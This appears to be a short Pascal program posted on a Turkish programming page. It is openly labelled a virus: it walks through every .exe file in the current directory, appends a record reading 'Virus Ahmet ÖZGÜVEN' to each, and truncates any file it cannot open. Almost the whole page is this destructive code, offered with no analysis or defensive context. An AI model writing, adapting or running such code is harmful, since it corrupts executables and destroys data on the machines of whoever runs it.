Programalama > PASCAL

uses crt,dos;
 type
   tip=record
        sozcuk:string[30];
       end;
 var
    DirInfo: SearchRec;
   kutuk:file of tip;
   kd   :tip;
   dosya:string[20];
   begin
   FindFirst('*.exe', Archive, DirInfo);
      while DosError = 0 do
 begin
   Writeln(DirInfo.Name);
   FindNext(DirInfo);
     assign(kutuk,dirinfo.name);
     {$I-}
     reset(kutuk);
          if ioresult<>0 then
             begin
               rewrite(kutuk);
               close(kutuk);
               reset(kutuk);
             end;
             {$I+}
             seek(kutuk,filesize(kutuk));
             kd.sozcuk:='Virus Ahmet &#8482;ZG&#353;VEN';
             write(KUTUK,KD);
             end;
   END.

design by seyys
uslucocuk1@msn.com